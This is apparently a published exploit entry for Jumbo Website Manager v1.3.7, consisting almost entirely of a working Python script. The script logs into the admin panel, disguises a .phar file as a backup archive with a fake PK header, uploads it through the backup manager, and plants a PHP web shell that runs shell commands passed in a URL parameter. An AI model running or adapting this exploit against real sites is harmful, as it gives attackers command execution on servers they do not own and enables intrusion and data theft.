Jumbo Website Manager – Remote Code Execution
#Exploit Title: Jumbo Website Manager - Remote Code Execution #Application: Jumbo Website Manager #Version: v1.3.7 #Bugs: RCE #Technology: PHP #Vendor URL: https://sourceforge.net/projects/jumbo/ #Software Link: https://sourceforge.net/projects/jumbo/ #Date of found: 28.10.2025 #Author: Mirabbas Ağalarov #Tested on: Linux import requests from typing import Tuple, Optional class JumboCMSExploit: def __init__(self, base_url: str = "http://localhost"): self.base_url = base_url self.session = requests.Session() def login(self, username: str, password: str) -> bool: """ Login to Jumbo CMS Args: username: Username password: Password (already hashed) Returns: True if login successful, False otherwise """ print(f"[*] Attempting login as: {username}") url = f"{self.base_url}/jumbo_files/jumbo/p_login.php" headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0", "Content-Type": "application/x-www-form-urlencoded", "Origin": self.base_url, "Referer": f"{self.base_url}/jumbo_files/jumbo/loginpage.php", } data = { "username": username, "password": password } response = self.session.post(url, headers=headers, data=data, allow_redirects=False) if response.status_code in [200, 302]: print(f"[+] Login successful! Status: {response.status_code}") print(f"[+] Cookies: {self.session.cookies.get_dict()}") return True else: print(f"[-] Login failed! Status: {response.status_code}") return False def upload_file(self, filename: str, content: bytes) -> Tuple[bool, str]: """ Upload a file to the backup manager Args: filename: Name of file to upload (e.g., test.phar) content: Binary content of the file Returns: Tuple of (success, response_text) """ print(f"[*] Uploading file: {filename}") url = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/php.php" params = {"qqfile": filename} # Disguise .phar as .jbox display_name = filename.replace('.phar', '.jbox') headers = { "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:144.0) Gecko/20100101 Firefox/144.0", "Accept": "*/*", "X-Requested-With": "XMLHttpRequest", "X-File-Name": display_name, "Content-Type": "application/octet-stream", "Origin": self.base_url, "Referer": f"{self.base_url}/jumbo_files/jumbo/backupmanager/loadbackup.php", } response = self.session.post(url, params=params, headers=headers, data=content) if response.status_code == 200: print(f"[+] Upload successful!") print(f"[+] Response: {response.text}") return True, response.text else: print(f"[-] Upload failed! Status: {response.status_code}") return False, response.text def exploit(self, username: str, password: str, filename: str, php_code: str) -> bool: """ Complete exploit: Login + Upload Args: username: Login username password: Login password (hashed) filename: Filename to upload php_code: PHP code to execute Returns: True if exploit successful """ # Step 1: Login if not self.login(username, password): print("[-] Exploit failed at login stage") return False # Step 2: Create malicious file content # PK header to disguise as archive file_content = b'PK\x03\x04\x0a\x00\x00\x00\x00\x00' + php_code.encode() # Step 3: Upload success, response = self.upload_file(filename, file_content) if success: print("\n[+] Exploit completed successfully!") uploaded_path = f"{self.base_url}/jumbo_files/jumbo/backupmanager/fileupload/uploads/backup.phar?cmd=whoami" print(f"[+] File possibly uploaded to: {uploaded_path}") return True else: print("[-] Exploit failed at upload stage") return False if __name__ == "__main__": print("="*70) print("Jumbo CMS Authenticated RCE via File Upload Exploit") print("="*70) print() # Configuration TARGET = "http://localhost" USERNAME = "admin" PASSWORD = "6f7303f028531527b2da3620ccaf25ee384ae7db" FILENAME = "test123.phar" PHP_CODE = '<?php echo system($_GET["cmd"]);?>' # Run exploit exploit = JumboCMSExploit(TARGET) exploit.exploit(USERNAME, PASSWORD, FILENAME, PHP_CODE) |